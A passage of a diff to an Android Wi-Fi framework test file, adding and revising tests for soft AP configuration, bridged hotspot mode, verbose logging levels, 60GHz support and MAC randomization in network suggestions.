+            SoftApConfiguration customConfig = customConfigBuilder.build();
+
             mWifiManager.startLocalOnlyHotspot(customConfig, executor, callback);
             // now wait for callback
             Thread.sleep(TEST_WAIT_DURATION_MS);
@@ -1007,25 +1335,20 @@
             // Verify callback is run on the supplied executor
             assertFalse(callback.onStartedCalled);
             executor.runAll();
-            if (callback.onFailedCalled) {
-                // TODO: b/160752000, customize bssid might not support.
-                // Allow the specific error code.
-                assertEquals(callback.failureReason,
-                        WifiManager.SAP_START_FAILURE_UNSUPPORTED_CONFIGURATION);
-            } else {
-                assertTrue(callback.onStartedCalled);
+            assertTrue(callback.onStartedCalled);
 
-                assertNotNull(callback.reservation);
-                SoftApConfiguration softApConfig = callback.reservation.getSoftApConfiguration();
-                assertNotNull(softApConfig);
+            assertNotNull(callback.reservation);
+            SoftApConfiguration softApConfig = callback.reservation.getSoftApConfiguration();
+            assertNotNull(softApConfig);
+            if (isSupportCustomizedMac) {
                 assertEquals(TEST_MAC, softApConfig.getBssid());
-                assertEquals(TEST_SSID_UNQUOTED, softApConfig.getSsid());
-                assertEquals(TEST_PASSPHRASE, softApConfig.getPassphrase());
-
-                // clean up
-                stopLocalOnlyHotspot(callback, wifiEnabled);
             }
+            assertEquals(TEST_SSID_UNQUOTED, softApConfig.getSsid());
+            assertEquals(TEST_PASSPHRASE, softApConfig.getPassphrase());
         } finally {
+            // clean up
+            stopLocalOnlyHotspot(callback, wifiEnabled);
+            mWifiManager.unregisterSoftApCallback(capabilityCallback);
             uiAutomation.dropShellPermissionIdentity();
         }
     }
@@ -1046,10 +1369,10 @@
         TestExecutor executor = new TestExecutor();
         TestLocalOnlyHotspotCallback callback = new TestLocalOnlyHotspotCallback(mLock);
         UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        boolean wifiEnabled = mWifiManager.isWifiEnabled();
         try {
             uiAutomation.adoptShellPermissionIdentity();
 
-            boolean wifiEnabled = mWifiManager.isWifiEnabled();
             mWifiManager.startLocalOnlyHotspot(customConfig, executor, callback);
             // now wait for callback
             Thread.sleep(TEST_WAIT_DURATION_MS);
@@ -1064,10 +1387,9 @@
             assertNotNull(softApConfig);
             assertEquals(TEST_SSID_UNQUOTED, softApConfig.getSsid());
             assertEquals(TEST_PASSPHRASE, softApConfig.getPassphrase());
-
+        } finally {
             // clean up
             stopLocalOnlyHotspot(callback, wifiEnabled);
-        } finally {
             uiAutomation.dropShellPermissionIdentity();
         }
     }
@@ -1556,6 +1878,9 @@
         // Bssid set dodesn't support for tethered hotspot
         SoftApConfiguration currentConfig = mWifiManager.getSoftApConfiguration();
         compareSoftApConfiguration(targetConfig, currentConfig);
+        if (BuildCompat.isAtLeastS()) {
+            assertTrue(currentConfig.isUserConfiguration());
+        }
     }
 
     private void compareSoftApConfiguration(SoftApConfiguration currentConfig,
@@ -1579,6 +1904,16 @@
                 testSoftApConfig.getAllowedClientList());
         assertEquals(currentConfig.getBlockedClientList(),
                 testSoftApConfig.getBlockedClientList());
+        if (BuildCompat.isAtLeastS()) {
+            assertEquals(currentConfig.getMacRandomizationSetting(),
+                    testSoftApConfig.getMacRandomizationSetting());
+            assertEquals(currentConfig.getChannels().toString(),
+                    testSoftApConfig.getChannels().toString());
+            assertEquals(currentConfig.isBridgedModeOpportunisticShutdownEnabled(),
+                    testSoftApConfig.isBridgedModeOpportunisticShutdownEnabled());
+            assertEquals(currentConfig.isIeee80211axEnabled(),
+                    testSoftApConfig.isIeee80211axEnabled());
+        }
     }
 
     private void turnOffWifiAndTetheredHotspotIfEnabled() throws Exception {
@@ -1599,6 +1934,173 @@
         }
     }
 
+    private void verifyBridgedModeSoftApCallback(TestExecutor executor,
+            TestSoftApCallback callback, boolean shouldFallbackSingleApMode, boolean isEnabled)
+            throws Exception {
+            // Verify state and info callback value as expected
+            PollingCheck.check(
+                    "SoftAp state and info on bridged AP mode are mismatch!!!"
+                    + " shouldFallbackSingleApMode = " + shouldFallbackSingleApMode
+                    + ", isEnabled = "  + isEnabled, 5_000,
+                    () -> {
+                        executor.runAll();
+                        int expectedState = isEnabled ? WifiManager.WIFI_AP_STATE_ENABLED
+                                : WifiManager.WIFI_AP_STATE_DISABLED;
+                        int expectedInfoSize = isEnabled
+                                ? (shouldFallbackSingleApMode ? 1 : 2) : 0;
+                        return expectedState == callback.getCurrentState()
+                                && callback.getCurrentSoftApInfoList().size() == expectedInfoSize;
+                    });
+    }
+
+    private boolean shouldFallbackToSingleAp(int[] bands, SoftApCapability capability) {
+        for (int band : bands) {
+            if (capability.getSupportedChannelList(band).length == 0) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private SparseIntArray getAvailableBandAndChannelForTesting(SoftApCapability capability) {
+        final int[] bands = {SoftApConfiguration.BAND_2GHZ, SoftApConfiguration.BAND_5GHZ,
+              SoftApConfiguration.BAND_6GHZ, SoftApConfiguration.BAND_60GHZ};
+        SparseIntArray testBandsAndChannels = new SparseIntArray();
+        if (!BuildCompat.isAtLeastS()) {
+            testBandsAndChannels.put(SoftApConfiguration.BAND_2GHZ, 1);
+            return testBandsAndChannels;
+        }
+        for (int band : bands) {
+            int[] supportedList = capability.getSupportedChannelList(band);
+            if (supportedList.length != 0) {
+                testBandsAndChannels.put(band, supportedList[0]);
+            }
+        }
+        return testBandsAndChannels;
+    }
+
+
+    /**
+     * Test bridged AP enable succeeful when device supports it.
+     * Also verify the callback info update correctly.
+     * @throws Exception
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testTetheredBridgedAp() throws Exception {
+        // check that softap bridged mode is supported by the device
+        if (!mWifiManager.isBridgedApConcurrencySupported()) {
+            return;
+        }
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        TestExecutor executor = new TestExecutor();
+        TestSoftApCallback callback = new TestSoftApCallback(mLock);
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            // Off/On Wifi to make sure that we get the supported channel
+            turnOffWifiAndTetheredHotspotIfEnabled();
+            mWifiManager.setWifiEnabled(true);
+            PollingCheck.check(
+                "Wifi turn on failed!", 2_000,
+                () -> mWifiManager.isWifiEnabled() == true);
+            turnOffWifiAndTetheredHotspotIfEnabled();
+            verifyRegisterSoftApCallback(executor, callback);
+            int[] testBands = {SoftApConfiguration.BAND_2GHZ, SoftApConfiguration.BAND_5GHZ};
+            // Test bridged SoftApConfiguration set and get (setBands)
+            SoftApConfiguration testSoftApConfig = new SoftApConfiguration.Builder()
+                    .setSsid(TEST_SSID_UNQUOTED)
+                    .setPassphrase(TEST_PASSPHRASE, SoftApConfiguration.SECURITY_TYPE_WPA2_PSK)
+                    .setBands(testBands)
+                    .build();
+            boolean shouldFallbackToSingleAp = shouldFallbackToSingleAp(testBands,
+                    callback.getCurrentSoftApCapability());
+            verifySetGetSoftApConfig(testSoftApConfig);
+
+            // start tethering which used to verify startTetheredHotspot
+            mTetheringManager.startTethering(ConnectivityManager.TETHERING_WIFI, executor,
+                new TetheringManager.StartTetheringCallback() {
+                    @Override
+                    public void onTetheringFailed(final int result) {
+                    }
+                });
+            verifyBridgedModeSoftApCallback(executor, callback,
+                    shouldFallbackToSingleAp, true /* enabled */);
+            // stop tethering which used to verify stopSoftAp
+            mTetheringManager.stopTethering(ConnectivityManager.TETHERING_WIFI);
+            verifyBridgedModeSoftApCallback(executor, callback,
+                    shouldFallbackToSingleAp, false /* disabled */);
+        } finally {
+            mWifiManager.unregisterSoftApCallback(callback);
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Test bridged AP with forced channel config enable succeeful when device supports it.
+     * Also verify the callback info update correctly.
+     * @throws Exception
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testTetheredBridgedApWifiForcedChannel() throws Exception {
+        // check that softap bridged mode is supported by the device
+        if (!mWifiManager.isBridgedApConcurrencySupported()) {
+            return;
+        }
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        TestExecutor executor = new TestExecutor();
+        TestSoftApCallback callback = new TestSoftApCallback(mLock);
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            // Off/On Wifi to make sure that we get the supported channel
+            turnOffWifiAndTetheredHotspotIfEnabled();
+            mWifiManager.setWifiEnabled(true);
+            PollingCheck.check(
+                "Wifi turn on failed!", 2_000,
+                () -> mWifiManager.isWifiEnabled() == true);
+            turnOffWifiAndTetheredHotspotIfEnabled();
+            verifyRegisterSoftApCallback(executor, callback);
+
+            boolean shouldFallbackToSingleAp = shouldFallbackToSingleAp(
+                    new int[] {SoftApConfiguration.BAND_2GHZ, SoftApConfiguration.BAND_5GHZ},
+                    callback.getCurrentSoftApCapability());
+
+            // Test when there are supported channels in both of the bands.
+            if (!shouldFallbackToSingleAp) {
+                // Test bridged SoftApConfiguration set and get (setChannels)
+                SparseIntArray dual_channels = new SparseIntArray(2);
+                dual_channels.put(SoftApConfiguration.BAND_2GHZ,
+                        callback.getCurrentSoftApCapability()
+                        .getSupportedChannelList(SoftApConfiguration.BAND_2GHZ)[0]);
+                dual_channels.put(SoftApConfiguration.BAND_5GHZ,
+                        callback.getCurrentSoftApCapability()
+                        .getSupportedChannelList(SoftApConfiguration.BAND_5GHZ)[0]);
+                SoftApConfiguration testSoftApConfig = new SoftApConfiguration.Builder()
+                        .setSsid(TEST_SSID_UNQUOTED)
+                        .setPassphrase(TEST_PASSPHRASE, SoftApConfiguration.SECURITY_TYPE_WPA2_PSK)
+                        .setChannels(dual_channels)
+                        .build();
+
+                verifySetGetSoftApConfig(testSoftApConfig);
+
+                // start tethering which used to verify startTetheredHotspot
+                mTetheringManager.startTethering(ConnectivityManager.TETHERING_WIFI, executor,
+                    new TetheringManager.StartTetheringCallback() {
+                        @Override
+                        public void onTetheringFailed(final int result) {
+                        }
+                    });
+                verifyBridgedModeSoftApCallback(executor, callback,
+                        shouldFallbackToSingleAp, true /* enabled */);
+                // stop tethering which used to verify stopSoftAp
+                mTetheringManager.stopTethering(ConnectivityManager.TETHERING_WIFI);
+                verifyBridgedModeSoftApCallback(executor, callback,
+                        shouldFallbackToSingleAp, false /* disabled */);
+            }
+        } finally {
+            mWifiManager.unregisterSoftApCallback(callback);
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
     /**
      * Verify that the configuration from getSoftApConfiguration is same as the configuration which
      * set by setSoftApConfiguration. And depends softap capability callback to test different
@@ -1624,16 +2126,30 @@
 
             SoftApConfiguration.Builder softApConfigBuilder = new SoftApConfiguration.Builder()
                     .setSsid(TEST_SSID_UNQUOTED)
-                    .setBssid(TEST_MAC)
                     .setPassphrase(TEST_PASSPHRASE, SoftApConfiguration.SECURITY_TYPE_WPA2_PSK)
                     .setAutoShutdownEnabled(true)
                     .setShutdownTimeoutMillis(100000)
-                    .setBand(SoftApConfiguration.BAND_2GHZ | SoftApConfiguration.BAND_5GHZ)
+                    .setBand(getAvailableBandAndChannelForTesting(
+                            callback.getCurrentSoftApCapability()).keyAt(0))
                     .setHiddenSsid(false);
 
             // Test SoftApConfiguration set and get
             verifySetGetSoftApConfig(softApConfigBuilder.build());
 
+            boolean isSupportCustomizedMac = callback.getCurrentSoftApCapability()
+                        .areFeaturesSupported(
+                        SoftApCapability.SOFTAP_FEATURE_MAC_ADDRESS_CUSTOMIZATION)
+                    && PropertyUtil.isVndkApiLevelNewerThan(Build.VERSION_CODES.S);
+
+            //Test MAC_ADDRESS_CUSTOMIZATION supported config
+            if (isSupportCustomizedMac) {
+                softApConfigBuilder.setBssid(TEST_MAC)
+                        .setMacRandomizationSetting(SoftApConfiguration.RANDOMIZATION_NONE);
+
+                // Test SoftApConfiguration set and get
+                verifySetGetSoftApConfig(softApConfigBuilder.build());
+            }
+
             // Test CLIENT_FORCE_DISCONNECT supported config.
             if (callback.getCurrentSoftApCapability()
                     .areFeaturesSupported(
@@ -1657,6 +2173,13 @@
                         SoftApConfiguration.SECURITY_TYPE_WPA3_SAE);
                 verifySetGetSoftApConfig(softApConfigBuilder.build());
             }
+
+            // Test 11 AX control config.
+            if (callback.getCurrentSoftApCapability()
+                    .areFeaturesSupported(SoftApCapability.SOFTAP_FEATURE_IEEE80211_AX)) {
+                softApConfigBuilder.setIeee80211axEnabled(true);
+                verifySetGetSoftApConfig(softApConfigBuilder.build());
+            }
         } finally {
             mWifiManager.unregisterSoftApCallback(callback);
             uiAutomation.dropShellPermissionIdentity();
@@ -1689,11 +2212,25 @@
             turnOffWifiAndTetheredHotspotIfEnabled();
             verifyRegisterSoftApCallback(executor, callback);
 
-            SoftApConfiguration testSoftApConfig = new SoftApConfiguration.Builder()
+            SparseIntArray testBandsAndChannels = getAvailableBandAndChannelForTesting(
+                    callback.getCurrentSoftApCapability());
+
+            if (BuildCompat.isAtLeastS()) {
+                assertNotEquals(0, testBandsAndChannels.size());
+            }
+            boolean isSupportCustomizedMac = callback.getCurrentSoftApCapability()
+                    .areFeaturesSupported(
+                    SoftApCapability.SOFTAP_FEATURE_MAC_ADDRESS_CUSTOMIZATION)
+                    && PropertyUtil.isVndkApiLevelNewerThan(Build.VERSION_CODES.S);
+
+            SoftApConfiguration.Builder testSoftApConfigBuilder = new SoftApConfiguration.Builder()
                     .setSsid(TEST_SSID_UNQUOTED)
                     .setPassphrase(TEST_PASSPHRASE, SoftApConfiguration.SECURITY_TYPE_WPA2_PSK)
-                    .setChannel(11, SoftApConfiguration.BAND_2GHZ) // Channel 11 = Freq 2462
-                    .build();
+                    .setChannel(testBandsAndChannels.valueAt(0), testBandsAndChannels.keyAt(0));
+
+            if (isSupportCustomizedMac) testSoftApConfigBuilder.setBssid(TEST_MAC);
+
+            SoftApConfiguration testSoftApConfig = testSoftApConfigBuilder.build();
 
             mWifiManager.setSoftApConfiguration(testSoftApConfig);
 
@@ -1710,11 +2247,20 @@
                     "SoftAp channel and state mismatch!!!", 5_000,
                     () -> {
                         executor.runAll();
+                        int sapChannel = ScanResult.convertFrequencyMhzToChannelIfSupported(
+                                callback.getCurrentSoftApInfo().getFrequency());
                         return WifiManager.WIFI_AP_STATE_ENABLED == callback.getCurrentState()
-                                && (callback.getOnSoftapInfoChangedCalledCount() > 1
-                                ? 2462 == callback.getCurrentSoftApInfo().getFrequency() : true);
+                                && testBandsAndChannels.valueAt(0) == sapChannel;
                     });
-
+            // After Soft Ap enabled, check SoftAp info
+            if (isSupportCustomizedMac) {
+                assertEquals(callback.getCurrentSoftApInfo().getBssid(), TEST_MAC);
+            }
+            if (PropertyUtil.isVndkApiLevelNewerThan(Build.VERSION_CODES.S)) {
+                assertNotEquals(callback.getCurrentSoftApInfo().getWifiStandard(),
+                        ScanResult.WIFI_STANDARD_UNKNOWN);
+            }
+        } finally {
             // stop tethering which used to verify stopSoftAp
             mTetheringManager.stopTethering(ConnectivityManager.TETHERING_WIFI);
 
@@ -1727,7 +2273,11 @@
                                 0 == callback.getCurrentSoftApInfo().getBandwidth() &&
                                 0 == callback.getCurrentSoftApInfo().getFrequency();
                     });
-        } finally {
+            if (BuildCompat.isAtLeastS()) {
+                assertEquals(callback.getCurrentSoftApInfo().getBssid(), null);
+                assertEquals(ScanResult.WIFI_STANDARD_UNKNOWN,
+                        callback.getCurrentSoftApInfo().getWifiStandard());
+            }
             mWifiManager.unregisterSoftApCallback(callback);
             uiAutomation.dropShellPermissionIdentity();
         }
@@ -1854,11 +2404,17 @@
         }
 
         @Override
-        public void onAvailable(Network network, NetworkCapabilities networkCapabilities,
-                LinkProperties linkProperties, boolean blocked) {
+        public void onAvailable(Network network) {
             synchronized (mLock) {
                 onAvailableCalled = true;
                 this.network = network;
+            }
+        }
+
+        @Override
+        public void onCapabilitiesChanged(Network network,
+                NetworkCapabilities networkCapabilities) {
+            synchronized (mLock) {
                 this.networkCapabilities = networkCapabilities;
                 mLock.notify();
             }
@@ -2028,6 +2584,7 @@
     /**
      * Tests {@link WifiManager#getFactoryMacAddresses()} returns at least one valid MAC address.
      */
+    @VirtualDeviceNotSupported
     public void testGetFactoryMacAddresses() throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
@@ -2352,16 +2909,118 @@
         }
         UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
         Boolean currState = null;
+        TestWifiVerboseLoggingStatusChangedListener listener =
+                WifiBuildCompat.isPlatformOrWifiModuleAtLeastS(mContext) ?
+                new TestWifiVerboseLoggingStatusChangedListener() : null;
         try {
             uiAutomation.adoptShellPermissionIdentity();
+            if (listener != null) {
+                mWifiManager.addWifiVerboseLoggingStatusChangedListener(mExecutor, listener);
+            }
             currState = mWifiManager.isVerboseLoggingEnabled();
             boolean newState = !currState;
+            if (listener != null) {
+                assertEquals(0, listener.numCalls);
+            }
             mWifiManager.setVerboseLoggingEnabled(newState);
             PollingCheck.check(
                     "Wifi settings toggle failed!",
                     DURATION_SETTINGS_TOGGLE,
                     () -> mWifiManager.isVerboseLoggingEnabled() == newState);
             assertEquals(newState, mWifiManager.isVerboseLoggingEnabled());
+            if (listener != null) {
+                assertEquals(newState, listener.status);
+                assertEquals(1, listener.numCalls);
+            }
+        } finally {
+            if (currState != null) mWifiManager.setVerboseLoggingEnabled(currState);
+            if (listener != null) {
+                mWifiManager.removeWifiVerboseLoggingStatusChangedListener(listener);
+            }
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Tests {@link WifiManager#setVerboseLoggingLevel(int)}.
+     */
+    public void testSetVerboseLogging() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        Boolean currState = null;
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            currState = mWifiManager.isVerboseLoggingEnabled();
+
+            mWifiManager.setVerboseLoggingLevel(WifiManager.VERBOSE_LOGGING_LEVEL_ENABLED);
+            assertTrue(mWifiManager.isVerboseLoggingEnabled());
+            assertEquals(WifiManager.VERBOSE_LOGGING_LEVEL_ENABLED,
+                    mWifiManager.getVerboseLoggingLevel());
+
+            mWifiManager.setVerboseLoggingLevel(WifiManager.VERBOSE_LOGGING_LEVEL_DISABLED);
+            assertFalse(mWifiManager.isVerboseLoggingEnabled());
+            assertEquals(WifiManager.VERBOSE_LOGGING_LEVEL_DISABLED,
+                    mWifiManager.getVerboseLoggingLevel());
+        } finally {
+            if (currState != null) mWifiManager.setVerboseLoggingEnabled(currState);
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Test {@link WifiManager#setVerboseLoggingLevel(int)} for show key mode.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testSetVerboseLoggingShowKeyModeNonUserBuild() throws Exception {
+        if (Build.TYPE.equals("user")) return;
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        Boolean currState = null;
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            currState = mWifiManager.isVerboseLoggingEnabled();
+
+            mWifiManager.setVerboseLoggingLevel(WifiManager.VERBOSE_LOGGING_LEVEL_ENABLED_SHOW_KEY);
+            assertTrue(mWifiManager.isVerboseLoggingEnabled());
+            assertEquals(WifiManager.VERBOSE_LOGGING_LEVEL_ENABLED_SHOW_KEY,
+                    mWifiManager.getVerboseLoggingLevel());
+        } finally {
+            if (currState != null) mWifiManager.setVerboseLoggingEnabled(currState);
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Test {@link WifiManager#setVerboseLoggingLevel(int)} for show key mode.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testSetVerboseLoggingShowKeyModeUserBuild() throws Exception {
+        if (!Build.TYPE.equals("user")) return;
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        Boolean currState = null;
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            currState = mWifiManager.isVerboseLoggingEnabled();
+
+            mWifiManager.setVerboseLoggingLevel(WifiManager.VERBOSE_LOGGING_LEVEL_ENABLED_SHOW_KEY);
+            assertTrue(mWifiManager.isVerboseLoggingEnabled());
+            assertEquals(WifiManager.VERBOSE_LOGGING_LEVEL_ENABLED_SHOW_KEY,
+                    mWifiManager.getVerboseLoggingLevel());
+            fail("Verbosing logging show key mode should not be allowed for user build.");
+        } catch (SecurityException e) {
+            // expected
         } finally {
             if (currState != null) mWifiManager.setVerboseLoggingEnabled(currState);
             uiAutomation.dropShellPermissionIdentity();
@@ -2408,6 +3067,32 @@
     }
 
     /**
+     * Verify that startRestrictingAutoJoinToSubscriptionId disconnects wifi and disables
+     * auto-connect to non-carrier-merged networks. Then verify that
+     * stopRestrictingAutoJoinToSubscriptionId makes the disabled networks clear to connect
+     * again.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testStartAndStopRestrictingAutoJoinToSubscriptionId() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        startScan();
+        waitForConnection();
+        int fakeSubscriptionId = 5;
+        ShellIdentityUtils.invokeWithShellPermissions(() ->
+                mWifiManager.startRestrictingAutoJoinToSubscriptionId(fakeSubscriptionId));
+        startScan();
+        ensureNotConnected();
+        ShellIdentityUtils.invokeWithShellPermissions(() ->
+                mWifiManager.stopRestrictingAutoJoinToSubscriptionId());
+        startScan();
+        waitForConnection();
+    }
+
+    /**
      * Test that the wifi country code is either null, or a length-2 string.
      */
     public void testGetCountryCode() throws Exception {
@@ -2597,6 +3282,41 @@
     }
 
     /**
+     * Test that {@link WifiManager#is60GHzBandSupported()} returns successfully in
+     * both Wifi enabled/disabled states.
+     * Note that the response depends on device support and hence both true/false
+     * are valid responses.
+     */
+    public void testIs60GhzBandSupported() throws Exception {
+        if (!(WifiFeature.isWifiSupported(getContext()) && BuildCompat.isAtLeastS())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+
+        // Check for 60GHz support with wifi enabled
+        setWifiEnabled(true);
+        PollingCheck.check(
+                "Wifi not enabled!",
+                20000,
+                () -> mWifiManager.isWifiEnabled());
+        boolean isSupportedEnabled = mWifiManager.is60GHzBandSupported();
+
+        // Check for 60GHz support with wifi disabled
+        setWifiEnabled(false);
+        PollingCheck.check(
+                "Wifi not disabled!",
+                20000,
+                () -> !mWifiManager.isWifiEnabled());
+        boolean isSupportedDisabled = mWifiManager.is60GHzBandSupported();
+
+        // If Support is true when WiFi is disable, then it has to be true when it is enabled.
+        // Note, the reverse is a valid case.
+        if (isSupportedDisabled) {
+            assertTrue(isSupportedEnabled);
+        }
+    }
+
+    /**
      * Test that {@link WifiManager#isWifiStandardSupported()} returns successfully in
      * both Wifi enabled/disabled states. The test is to be performed on
      * {@link WifiAnnotations}'s {@code WIFI_STANDARD_}
@@ -2825,6 +3545,52 @@
     }
 
     /**
+     * Verify WifiNetworkSuggestion.Builder.setMacRandomizationSetting(WifiNetworkSuggestion
+     * .RANDOMIZATION_NON_PERSISTENT) creates a
+     * WifiConfiguration with macRandomizationSetting == RANDOMIZATION_NON_PERSISTENT.
+     * Then verify by default, a WifiConfiguration created by suggestions should have
+     * macRandomizationSetting == RANDOMIZATION_PERSISTENT.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testSuggestionBuilderNonPersistentRandomization() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        WifiNetworkSuggestion suggestion = new WifiNetworkSuggestion.Builder()
+                .setSsid(TEST_SSID).setWpa2Passphrase(TEST_PASSPHRASE)
+                .setMacRandomizationSetting(WifiNetworkSuggestion.RANDOMIZATION_NON_PERSISTENT)
+                .build();
+        assertEquals(WifiManager.STATUS_NETWORK_SUGGESTIONS_SUCCESS,
+                mWifiManager.addNetworkSuggestions(Arrays.asList(suggestion)));
+        verifySuggestionFoundWithMacRandomizationSetting(TEST_SSID,
+                WifiConfiguration.RANDOMIZATION_NON_PERSISTENT);
+
+        suggestion = new WifiNetworkSuggestion.Builder()
+                .setSsid(TEST_SSID).setWpa2Passphrase(TEST_PASSPHRASE)
+                .build();
+        assertEquals(WifiManager.STATUS_NETWORK_SUGGESTIONS_SUCCESS,
+                mWifiManager.addNetworkSuggestions(Arrays.asList(suggestion)));
+        verifySuggestionFoundWithMacRandomizationSetting(TEST_SSID,
+                WifiConfiguration.RANDOMIZATION_PERSISTENT);
+    }
+
+    private void verifySuggestionFoundWithMacRandomizationSetting(String ssid,
+            int macRandomizationSetting) {
+        List<WifiNetworkSuggestion> retrievedSuggestions = mWifiManager.getNetworkSuggestions();
+        for (WifiNetworkSuggestion entry : retrievedSuggestions) {
+            if (entry.getSsid().equals(ssid)) {
+                assertEquals(macRandomizationSetting,
+                        entry.getWifiConfiguration().macRandomizationSetting);
+                return; // pass test after the MAC randomization setting is verified.
+            }
+        }
+        fail("WifiNetworkSuggestion not found for SSID=" + ssid + ", macRandomizationSetting="
+                + macRandomizationSetting);
+    }
+
+    /**
      * Tests {@link WifiManager#getWifiConfigForMatchedNetworkSuggestionsSharedWithUser(List)}
      */
     public void testGetAllWifiConfigForMatchedNetworkSuggestion() {
@@ -3043,6 +3809,45 @@
     }
 
     /**
+     * Tests {@link WifiManager#isWpa3SaePublicKeySupported()} does not crash.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion?
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testIsWpa3SaePublicKeySupported() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        mWifiManager.isWpa3SaePublicKeySupported();
+    }
+
+    /**
+     * Tests {@link WifiManager#isWpa3SaeH2eSupported()} does not crash.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion?
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testIsWpa3SaeH2eSupported() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        mWifiManager.isWpa3SaeH2eSupported();
+    }
+
+    /**
+     * Tests {@link WifiManager#isWifiDisplayR2Supported()} does not crash.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion?
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testIsWifiDisplayR2Supported() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        mWifiManager.isWifiDisplayR2Supported();
+    }
+
+    /**
      * Tests {@link WifiManager#isP2pSupported()} returns true
      * if this device supports it, otherwise, ensure no crash.
      */
@@ -3062,6 +3867,17 @@
 
     }
 
+    // TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion?
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testIsMultiStaConcurrencySupported() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        // ensure no crash.
+        mWifiManager.isStaApConcurrencySupported();
+    }
+
     private PasspointConfiguration getTargetPasspointConfiguration(
             List<PasspointConfiguration> configurationList, String uniqueId) {
         if (configurationList == null || configurationList.isEmpty()) {
@@ -3074,4 +3890,454 @@
         }
         return null;
     }
+
+    /**
+     * Test that {@link WifiManager#is60GHzBandSupported()} throws UnsupportedOperationException
+     * if the release is older than S.
+     */
+    // TODO(b/167575586): Wait for S SDK finalization before changing
+    // to `maxSdkVersion = Build.VERSION_CODES.R`
+    @SdkSuppress(maxSdkVersion = -1, codeName = "REL")
+    public void testIs60GhzBandSupportedOnROrOlder() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+
+        // check for 60ghz support with wifi enabled
+        try {
+            boolean isSupported = mWifiManager.is60GHzBandSupported();
+            fail("Expected UnsupportedOperationException");
+        } catch (UnsupportedOperationException ex) {
+        }
+
+    }
+
+    /**
+     * Test that {@link WifiManager#is60GHzBandSupported()} returns successfully in
+     * both Wifi enabled/disabled states for release newer than R.
+     * Note that the response depends on device support and hence both true/false
+     * are valid responses.
+     */
+    // TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testIs60GhzBandSupportedOnSOrNewer() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+
+        // check for 60ghz support with wifi enabled
+        boolean isSupportedWhenWifiEnabled = mWifiManager.is60GHzBandSupported();
+
+        // Check for 60GHz support with wifi disabled
+        setWifiEnabled(false);
+        PollingCheck.check(
+                "Wifi not disabled!",
+                20000,
+                () -> !mWifiManager.isWifiEnabled());
+        boolean isSupportedWhenWifiDisabled = mWifiManager.is60GHzBandSupported();
+
+        // If Support is true when WiFi is disable, then it has to be true when it is enabled.
+        // Note, the reverse is a valid case.
+        if (isSupportedWhenWifiDisabled) {
+            assertTrue(isSupportedWhenWifiEnabled);
+        }
+    }
+
